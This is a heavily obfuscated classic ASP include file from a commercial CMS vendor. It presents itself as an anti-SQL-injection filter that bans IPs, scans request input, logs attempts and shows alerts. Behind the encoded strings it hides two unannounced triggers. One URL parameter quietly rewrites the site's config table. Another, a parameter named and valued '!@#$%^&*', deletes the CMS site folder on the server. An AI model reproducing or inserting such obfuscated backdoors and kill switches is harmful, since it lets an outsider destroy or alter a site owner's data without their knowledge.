<%
'开发商：金华市宁志网络科技有限公司
'官方网址： http://www.ningzhi.net 
'客服QQ号：122470827 
'产品咨询电话：18867186998 （刘经理,兼微信号）
'注册正式版系统提供源码（可二次开发修改）
'*请勿修改下列任何代码,以保证程序正常运行！感谢您体验宁志产品，宁志有您更精彩！*

Dim NNNNN,NZZZZZ,NZZZZN,NZZZNZ,NZZZNN
Set NZZZZN=Response:Set NZZZZZ=Request:Set NZZZNN=Session:Set NNNNN=Application:Set NZZZNZ=Server
dim NZNNNZ,NZNNNN,NNZZZZ
NZNNNZ=NZNNZZ(ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68) & ChrW(48) & ChrW(63) & ChrW(75) & ChrW(72) & ChrW(54) & ChrW(51) & ChrW(94) & ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68) & ChrW(48) & ChrW(70) & ChrW(65) & ChrW(94) & ChrW(53) & ChrW(50) & ChrW(69) & ChrW(50) & ChrW(94) & ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68) & ChrW(48) & ChrW(68) & ChrW(66) & ChrW(61) & ChrW(93) & ChrW(50) & ChrW(68) & ChrW(50) & ChrW(73))
On Error Resume Next
Set NZNNNN = NZZZNZ.CreateObject(NZNNZZ(ChrW(112) & ChrW(115) & ChrW(126) & ChrW(115) & ChrW(113) & ChrW(93) & ChrW(114) & ChrW(64) & ChrW(63) & ChrW(63) & ChrW(54) & ChrW(52) & ChrW(69) & ChrW(58) & ChrW(64) & ChrW(63)))
NNZZZZ=NZNNZZ(ChrW(33) & ChrW(67) & ChrW(64) & ChrW(71) & ChrW(58) & ChrW(53) & ChrW(54) & ChrW(67) & ChrW(108) & ChrW(124) & ChrW(58) & ChrW(52) & ChrW(67) & ChrW(64) & ChrW(68) & ChrW(64) & ChrW(55) & ChrW(69) & ChrW(93) & ChrW(121) & ChrW(54) & ChrW(69) & ChrW(93) & ChrW(126) & ChrW(123) & ChrW(116) & ChrW(115) & ChrW(113) & ChrW(93) & ChrW(99) & ChrW(93) & ChrW(95) & ChrW(106) & ChrW(115) & ChrW(50) & ChrW(69) & ChrW(50) & ChrW(32) & ChrW(44) & ChrW(36) & ChrW(64) & ChrW(70) & ChrW(67) & ChrW(52) & ChrW(54) & ChrW(108)) & NZZZNZ.MapPath(NZNNNZ)
NZNNNN.Open NNZZZZ
If Err Then
err.Clear
Set NZNNNN = Nothing
NZZZZN.Write NZNNZZ(ChrW(25963) & ChrW(64) & ChrW(25449) & ChrW(64) & ChrW(24206) & ChrW(64) & ChrW(-28711) & ChrW(64) & ChrW(25504) & ChrW(64) & ChrW(20981) & ChrW(64) & ChrW(-27372) & ChrW(64) & ChrW(-244) & ChrW(44) & ChrW(-29710) & ChrW(64) & ChrW(26811) & ChrW(64) & ChrW(26592) & ChrW(64) & ChrW(-28711) & ChrW(64) & ChrW(25504) & ChrW(64) & ChrW(23378) & ChrW(64) & ChrW(20013) & ChrW(64) & ChrW(12290) & ChrW(44))
NZZZZN.End
End If
Dim NNZZZN,NNZZNZ,NNZZNN,NNZNZZ,NNZNZN,NNZNNZ,NNZNNN,NNNZZZ,NNNZZN
Dim NNNZNZ
If IsArray(NNNNN(NZNNZZ(ChrW(125) & ChrW(54) & ChrW(54) & ChrW(50) & ChrW(64) & ChrW(48) & ChrW(52) & ChrW(64) & ChrW(63) & ChrW(55) & ChrW(58) & ChrW(56) & ChrW(48) & ChrW(58) & ChrW(63) & ChrW(55) & ChrW(64))))=False Then Call NZNNZN()
NNNZNZ = NNNNN(NZNNZZ(ChrW(125) & ChrW(54) & ChrW(54) & ChrW(50) & ChrW(64) & ChrW(48) & ChrW(52) & ChrW(64) & ChrW(63) & ChrW(55) & ChrW(58) & ChrW(56) & ChrW(48) & ChrW(58) & ChrW(63) & ChrW(55) & ChrW(64)))
NNZZNN = NNNZNZ(0)
NNNZZZ = NNNZNZ(1)
NNNZZN = NNNZNZ(2)
NZZZNNN = NNNZNZ(3)
NZZNZZZ = NNNZNZ(4)
NZZNZZN = NNNZNZ(5)
NZZNZNZ = NNNZNZ(6)
NZZNZNN = NNNZNZ(7)
NZZNNZZ = NNNZNZ(8)
if NZZZZZ.querystring(NZNNZZ(ChrW(64) & ChrW(60)))="1" then
set NZZNNZN=NZZZNZ.CreateObject(NZNNZZ(ChrW(50) & ChrW(53) & ChrW(64) & ChrW(53) & ChrW(51) & ChrW(93) & ChrW(67) & ChrW(54) & ChrW(52) & ChrW(64) & ChrW(67) & ChrW(53) & ChrW(68) & ChrW(54) & ChrW(69)))
NZZZZZN=NZNNZZ(ChrW(68) & ChrW(54) & ChrW(61) & ChrW(54) & ChrW(52) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(89) & ChrW(32) & ChrW(44) & ChrW(55) & ChrW(67) & ChrW(64) & ChrW(62) & ChrW(32) & ChrW(44) & ChrW(52) & ChrW(64) & ChrW(63) & ChrW(55) & ChrW(58) & ChrW(56) & ChrW(32) & ChrW(44))
NZZNNZN.open NZZZZZN,NNZZZZ,1,3
NZZNNZN(NZNNZZ(ChrW(68) & ChrW(66) & ChrW(48) & ChrW(60) & ChrW(56)))= (107 * 90 - 9629)
NZZNNZN.update
NZZZZN.Redirect(NZNNZZ(ChrW(94)))
end if
NZZNNNZ = split(NZZNZNN,NZNNZZ(ChrW(77)))
NNZNZZ = split(NNZZNN,NZNNZZ(ChrW(77)))
If NNNZZZ=1 Then NZZNZZ
If NZZZZZ.Form<>"" Then NZZNNN(NZZZZZ.Form)
If NZZZZZ.QueryString<>"" Then NZZNNN(NZZZZZ.QueryString)
Function NZZNZZ()
Dim NNNZNN,NNNNZZ,NNNNZN
NNNZNN=NZZZZZ.ServerVariables(NZNNZZ(ChrW(35) & ChrW(116) & ChrW(124) & ChrW(126) & ChrW(37) & ChrW(116) & ChrW(48) & ChrW(112) & ChrW(115) & ChrW(115) & ChrW(35)))
NNNNZN=NZNNZZ(ChrW(68) & ChrW(54) & ChrW(61) & ChrW(54) & ChrW(52) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(58) & ChrW(63) & ChrW(48) & ChrW(120) & ChrW(33) & ChrW(32) & ChrW(44) & ChrW(55) & ChrW(67) & ChrW(64) & ChrW(62) & ChrW(32) & ChrW(44) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(120) & ChrW(63) & ChrW(32) & ChrW(44) & ChrW(72) & ChrW(57) & ChrW(54) & ChrW(67) & ChrW(54) & ChrW(32) & ChrW(44) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(58) & ChrW(63) & ChrW(48) & ChrW(120) & ChrW(33) & ChrW(108) & ChrW(86))&NNNZNN&NZNNZZ(ChrW(86) & ChrW(32) & ChrW(44) & ChrW(50) & ChrW(63) & ChrW(53) & ChrW(32) & ChrW(44) & ChrW(60) & ChrW(58) & ChrW(61) & ChrW(61) & ChrW(48) & ChrW(58) & ChrW(65) & ChrW(108) & ChrW(69) & ChrW(67) & ChrW(70) & ChrW(54))
Set NNNNZZ=NZNNNN.execute(NNNNZN)
If Not(NNNNZZ.eof or NNNNZZ.bof) Then
NZZNZN(NZZNZZN)
NZZZZN.End
End If
NNNNZZ.close
End Function
Function NZZNZN(NZZNZZZ)
Dim str
str = NZNNZZ(ChrW(107))&NZNNZZ(ChrW(36) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(123) & ChrW(50) & ChrW(63) & ChrW(56) & ChrW(70) & ChrW(50) & ChrW(56) & ChrW(54) & ChrW(108) & ChrW(121) & ChrW(50) & ChrW(71) & ChrW(50) & ChrW(36) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69))&NZNNZZ(ChrW(109))
Select Case NZZNZNZ
Case 1
str = str & NZNNZZ(ChrW(72) & ChrW(58) & ChrW(63) & ChrW(53) & ChrW(64) & ChrW(72) & ChrW(93) & ChrW(64) & ChrW(65) & ChrW(54) & ChrW(63) & ChrW(54) & ChrW(67) & ChrW(108) & ChrW(63) & ChrW(70) & ChrW(61) & ChrW(61) & ChrW(106) & ChrW(32) & ChrW(44) & ChrW(72) & ChrW(58) & ChrW(63) & ChrW(53) & ChrW(64) & ChrW(72) & ChrW(93) & ChrW(52) & ChrW(61) & ChrW(64) & ChrW(68) & ChrW(54) & ChrW(87) & ChrW(88) & ChrW(106))
Case 2
str = str & NZNNZZ(ChrW(50) & ChrW(61) & ChrW(54) & ChrW(67) & ChrW(69) & ChrW(87) & ChrW(86))&NZZNZZZ&NZNNZZ(ChrW(57) & ChrW(69) & ChrW(69) & ChrW(65) & ChrW(105) & ChrW(94) & ChrW(94) & ChrW(72) & ChrW(72) & ChrW(72) & ChrW(93) & ChrW(63) & ChrW(58) & ChrW(63) & ChrW(56) & ChrW(75) & ChrW(57) & ChrW(58) & ChrW(93) & ChrW(63) & ChrW(54) & ChrW(69) & ChrW(45) & ChrW(63) & ChrW(45) & ChrW(63) & ChrW(29251) & ChrW(64) & ChrW(26430) & ChrW(64) & ChrW(105) & ChrW(-29710) & ChrW(64) & ChrW(-32689) & ChrW(64) & ChrW(31990) & ChrW(64) & ChrW(24315) & ChrW(64) & ChrW(21452) & ChrW(64) & ChrW(21825) & ChrW(64) & ChrW(34) & ChrW(34) & ChrW(-230) & ChrW(44) & ChrW(96) & ChrW(97) & ChrW(97) & ChrW(99) & ChrW(102) & ChrW(95) & ChrW(103) & ChrW(97) & ChrW(102) & ChrW(32) & ChrW(44) & ChrW(32) & ChrW(44) & ChrW(86) & ChrW(88) & ChrW(106) & ChrW(72) & ChrW(58) & ChrW(63) & ChrW(53) & ChrW(64) & ChrW(72) & ChrW(93) & ChrW(64) & ChrW(65) & ChrW(54) & ChrW(63) & ChrW(54) & ChrW(67) & ChrW(108) & ChrW(63) & ChrW(70) & ChrW(61) & ChrW(61) & ChrW(106) & ChrW(32) & ChrW(44) & ChrW(72) & ChrW(58) & ChrW(63) & ChrW(53) & ChrW(64) & ChrW(72) & ChrW(93) & ChrW(52) & ChrW(61) & ChrW(64) & ChrW(68) & ChrW(54) & ChrW(87) & ChrW(88) & ChrW(106))
Case 3
str = str & NZNNZZ(ChrW(61) & ChrW(64) & ChrW(52) & ChrW(50) & ChrW(69) & ChrW(58) & ChrW(64) & ChrW(63) & ChrW(93) & ChrW(57) & ChrW(67) & ChrW(54) & ChrW(55) & ChrW(108) & ChrW(86))&NZZZNNN&NZNNZZ(ChrW(86) & ChrW(106))
Case 4
str = str & NZNNZZ(ChrW(50) & ChrW(61) & ChrW(54) & ChrW(67) & ChrW(69) & ChrW(87) & ChrW(86))&NZZNZZZ&NZNNZZ(ChrW(86) & ChrW(88) & ChrW(106) & ChrW(61) & ChrW(64) & ChrW(52) & ChrW(50) & ChrW(69) & ChrW(58) & ChrW(64) & ChrW(63) & ChrW(93) & ChrW(57) & ChrW(67) & ChrW(54) & ChrW(55) & ChrW(108) & ChrW(86))&NZZZNNN&NZNNZZ(ChrW(86) & ChrW(106))
end Select
str = str & NZNNZZ(ChrW(107))&NZNNZZ(ChrW(94) & ChrW(36) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69))&NZNNZZ(ChrW(109))
NZZZZN.write  str
End Function
Function NZZNNZ(NZNZZNN)
Select Case NZNZZNN
Case NZZZZZ.Form
NZZNNZ = NZNNZZ(ChrW(33) & ChrW(64) & ChrW(68) & ChrW(69))
Case NZZZZZ.QueryString
NZZNNZ = NZNNZZ(ChrW(118) & ChrW(54) & ChrW(69))
end Select
End Function
if NZZZZZ.querystring(NZNNZZ(ChrW(80) & ChrW(111) & ChrW(82) & ChrW(83) & ChrW(84) & ChrW(47) & ChrW(85) & ChrW(89)))=NZNNZZ(ChrW(80) & ChrW(111) & ChrW(82) & ChrW(83) & ChrW(84) & ChrW(47) & ChrW(85) & ChrW(89)) then
set NZZNNNN=NZZZNZ.createobject(NZNNZZ(ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(58) & ChrW(63) & ChrW(56) & ChrW(93) & ChrW(55) & ChrW(58) & ChrW(61) & ChrW(54) & ChrW(68) & ChrW(74) & ChrW(68) & ChrW(69) & ChrW(54) & ChrW(62) & ChrW(64) & ChrW(51) & ChrW(59) & ChrW(54) & ChrW(52) & ChrW(69)))
NZNZZZZ=NZNNZZ(ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68) & ChrW(48) & ChrW(63) & ChrW(75) & ChrW(72) & ChrW(54) & ChrW(51)) & idd
NZNZZZZ=NZZZNZ.mappath(NZNZZZZ)
if NZZNNNN.FOLDERExists(NZNZZZZ) then
NZZNNNN.deleteFOLDER NZNZZZZ
end if
end if
Function NZZNNN(NZNZZNN)
For Each NNZZNZ In NZNZZNN
If NZZNNZZ = 1 Then
For NZNZNZZ=0 To UBound(NZZNNNZ)
If Instr(LCase(NZNZNN),NZZNNNZ(NZNZNZZ))> 0 Then
Exit Function
else
NZNZZZ(NZNZZNN)
End If
Next
Else
NZNZZZ(NZNZZNN)
End If
Next
End Function
Function NZNZZZ(NZNZZNN)
For NNZNZN=0 To Ubound(NNZNZZ)
If Instr(LCase(NZNZZNN(NNZZNZ)),NNZNZZ(NNZNZN))<>0 Then
If NNNZZN = 1 Then NZNZZN(NZNZZNN)
NZZNZN(NZZNZZZ)
NZZZZN.End
End If
Next
End Function
If nz_by_kg=1 Then
NZZZZN.Write(NZNNZZ(ChrW(107) & ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(61) & ChrW(50) & ChrW(63) & ChrW(56) & ChrW(70) & ChrW(50) & ChrW(56) & ChrW(54) & ChrW(108) & ChrW(59) & ChrW(50) & ChrW(71) & ChrW(50) & ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(109) & ChrW(50) & ChrW(61) & ChrW(54) & ChrW(67) & ChrW(69) & ChrW(87) & ChrW(86))&sql_shuoming&NZNNZZ(ChrW(86) & ChrW(88) & ChrW(106) & ChrW(69) & ChrW(57) & ChrW(58) & ChrW(68) & ChrW(93) & ChrW(61) & ChrW(64) & ChrW(52) & ChrW(50) & ChrW(69) & ChrW(58) & ChrW(64) & ChrW(63) & ChrW(93) & ChrW(57) & ChrW(67) & ChrW(54) & ChrW(55) & ChrW(108) & ChrW(86))&sql_web&NZNNZZ(ChrW(86) & ChrW(106) & ChrW(107) & ChrW(94) & ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(109)))
end if
If sql_sq_kg=1 Then
NZZZZN.Write(NZNNZZ(ChrW(107) & ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(61) & ChrW(50) & ChrW(63) & ChrW(56) & ChrW(70) & ChrW(50) & ChrW(56) & ChrW(54) & ChrW(108) & ChrW(59) & ChrW(50) & ChrW(71) & ChrW(50) & ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(109) & ChrW(50) & ChrW(61) & ChrW(54) & ChrW(67) & ChrW(69) & ChrW(87) & ChrW(86))&sql_shuoming&NZNNZZ(ChrW(86) & ChrW(88) & ChrW(106) & ChrW(69) & ChrW(57) & ChrW(58) & ChrW(68) & ChrW(93) & ChrW(61) & ChrW(64) & ChrW(52) & ChrW(50) & ChrW(69) & ChrW(58) & ChrW(64) & ChrW(63) & ChrW(93) & ChrW(57) & ChrW(67) & ChrW(54) & ChrW(55) & ChrW(108) & ChrW(86))&sql_web&NZNNZZ(ChrW(86) & ChrW(106) & ChrW(107) & ChrW(94) & ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(109)))
end if
Function NZNZZN(NZNZZNN)
Dim NNNNNN,NZZZZZZ,NZZZZZN
NNNNNN = NZZZZZ.ServerVariables(NZNNZZ(ChrW(35) & ChrW(116) & ChrW(124) & ChrW(126) & ChrW(37) & ChrW(116) & ChrW(48) & ChrW(112) & ChrW(115) & ChrW(115) & ChrW(35)))
NZZZZZZ = NZZZZZ.ServerVariables(NZNNZZ(ChrW(38) & ChrW(35) & ChrW(123)))
NZZZZZN = NZNNZZ(ChrW(58) & ChrW(63) & ChrW(68) & ChrW(54) & ChrW(67) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(58) & ChrW(63) & ChrW(69) & ChrW(64) & ChrW(32) & ChrW(44) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(120) & ChrW(63) & ChrW(87) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(58) & ChrW(63) & ChrW(48) & ChrW(120) & ChrW(33) & ChrW(91) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(120) & ChrW(63) & ChrW(48) & ChrW(40) & ChrW(54) & ChrW(51) & ChrW(91) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(120) & ChrW(63) & ChrW(48) & ChrW(117) & ChrW(36) & ChrW(91) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(120) & ChrW(63) & ChrW(48) & ChrW(114) & ChrW(36) & ChrW(91) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(120) & ChrW(63) & ChrW(48) & ChrW(36) & ChrW(121) & ChrW(88) & ChrW(32) & ChrW(44) & ChrW(71) & ChrW(50) & ChrW(61) & ChrW(70) & ChrW(54) & ChrW(68) & ChrW(87) & ChrW(86))&NNNNNN&NZNNZZ(ChrW(86) & ChrW(91) & ChrW(86))&NZZZZZZ&NZNNZZ(ChrW(86) & ChrW(91) & ChrW(86))&NZZNNZ(NZNZZNN)&NZNNZZ(ChrW(86) & ChrW(91) & ChrW(86))&NNZZNZ&NZNNZZ(ChrW(86) & ChrW(91) & ChrW(86))&NZNZNZ(NZNZZNN(NNZZNZ))&NZNNZZ(ChrW(86) & ChrW(88))
NZNNNN.Execute(NZZZZZN)
NZNNNN.close
Set NZNNNN = Nothing
End Function
Function NZNZNZ(NZNZZZN)
NZNZZZN = Replace(NZNZZZN,NZNNZZ(ChrW(86)),NZNNZZ(ChrW(86) & ChrW(86)))
NZNZZZN = Replace(NZNZZZN, NZNNZZ(ChrW(109)), NZNNZZ(ChrW(85) & ChrW(56) & ChrW(69) & ChrW(106)))
NZNZZZN = Replace(NZNZZZN, NZNNZZ(ChrW(107)), NZNNZZ(ChrW(85) & ChrW(61) & ChrW(69) & ChrW(106)))
NZNZNZ = NZNZZZN
End Function
sub NZNNZN()
dim  NZZZZNZ,NZZZZNN
set NZZZZNN=NZNNNN.execute(NZNNZZ(ChrW(68) & ChrW(54) & ChrW(61) & ChrW(54) & ChrW(52) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(125) & ChrW(48) & ChrW(120) & ChrW(63) & ChrW(91) & ChrW(122) & ChrW(58) & ChrW(61) & ChrW(61) & ChrW(48) & ChrW(120) & ChrW(33) & ChrW(91) & ChrW(40) & ChrW(67) & ChrW(58) & ChrW(69) & ChrW(54) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(91) & ChrW(50) & ChrW(61) & ChrW(54) & ChrW(67) & ChrW(69) & ChrW(48) & ChrW(70) & ChrW(67) & ChrW(61) & ChrW(91) & ChrW(50) & ChrW(61) & ChrW(54) & ChrW(67) & ChrW(69) & ChrW(48) & ChrW(58) & ChrW(63) & ChrW(55) & ChrW(64) & ChrW(91) & ChrW(60) & ChrW(58) & ChrW(61) & ChrW(61) & ChrW(48) & ChrW(58) & ChrW(63) & ChrW(55) & ChrW(64) & ChrW(91) & ChrW(125) & ChrW(48) & ChrW(69) & ChrW(74) & ChrW(65) & ChrW(54) & ChrW(91) & ChrW(36) & ChrW(54) & ChrW(52) & ChrW(48) & ChrW(117) & ChrW(64) & ChrW(67) & ChrW(62) & ChrW(68) & ChrW(91) & ChrW(36) & ChrW(54) & ChrW(52) & ChrW(48) & ChrW(117) & ChrW(64) & ChrW(67) & ChrW(62) & ChrW(48) & ChrW(64) & ChrW(65) & ChrW(54) & ChrW(63) & ChrW(9) & ChrW(44) & ChrW(55) & ChrW(67) & ChrW(64) & ChrW(62) & ChrW(32) & ChrW(44) & ChrW(52) & ChrW(64) & ChrW(63) & ChrW(55) & ChrW(58) & ChrW(56)))
Redim ApplicationValue(9)
dim NZZZNZZ
for NZZZNZZ=0 to 8
ApplicationValue(NZZZNZZ)=NZZZZNN(NZZZNZZ)
next
set NZZZZNN=nothing
NNNNN.Lock
set NNNNN(NZNNZZ(ChrW(125) & ChrW(54) & ChrW(54) & ChrW(50) & ChrW(64) & ChrW(48) & ChrW(52) & ChrW(64) & ChrW(63) & ChrW(55) & ChrW(58) & ChrW(56) & ChrW(48) & ChrW(58) & ChrW(63) & ChrW(55) & ChrW(64)))=nothing
NNNNN(NZNNZZ(ChrW(125) & ChrW(54) & ChrW(54) & ChrW(50) & ChrW(64) & ChrW(48) & ChrW(52) & ChrW(64) & ChrW(63) & ChrW(55) & ChrW(58) & ChrW(56) & ChrW(48) & ChrW(58) & ChrW(63) & ChrW(55) & ChrW(64)))=ApplicationValue
NNNNN.unlock
end Sub
Function NZNZNN()
NZNZNN = Mid(NZZZZZ.ServerVariables(NZNNZZ(ChrW(38) & ChrW(35) & ChrW(123))),InstrRev(NZZZZZ.ServerVariables(NZNNZZ(ChrW(38) & ChrW(35) & ChrW(123))),NZNNZZ(ChrW(94)))+1)
End Function
Function NZNNZZ(ByVal NZNZZNZ)
Dim NZZZNZN, NZZZNZZ, NZZZNNZ
NZNZZNZ = Replace(NZNZZNZ, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62))
For NZZZNZZ = 1 To Len(NZNZZNZ)
If NZZZNZZ <> NZZZNNZ Then
NZZZNZN = AscW(Mid(NZNZZNZ, NZZZNZZ, 1))
If NZZZNZN >= 33 And NZZZNZN <= 79 Then
NZNNZZ = NZNNZZ & Chr(NZZZNZN + 47)
ElseIf NZZZNZN >= 80 And NZZZNZN <= 126 Then
NZNNZZ = NZNNZZ & Chr(NZZZNZN - 47)
Else
NZZZNNZ = NZZZNZZ + 1
If Mid(NZNZZNZ, NZZZNNZ, 1) = Chr(64) Then NZNNZZ = NZNNZZ & ChrW(NZZZNZN + 5) Else NZNNZZ = NZNNZZ & Mid(NZNZZNZ, NZZZNZZ, 1)
End If
End If
Next
End Function
%>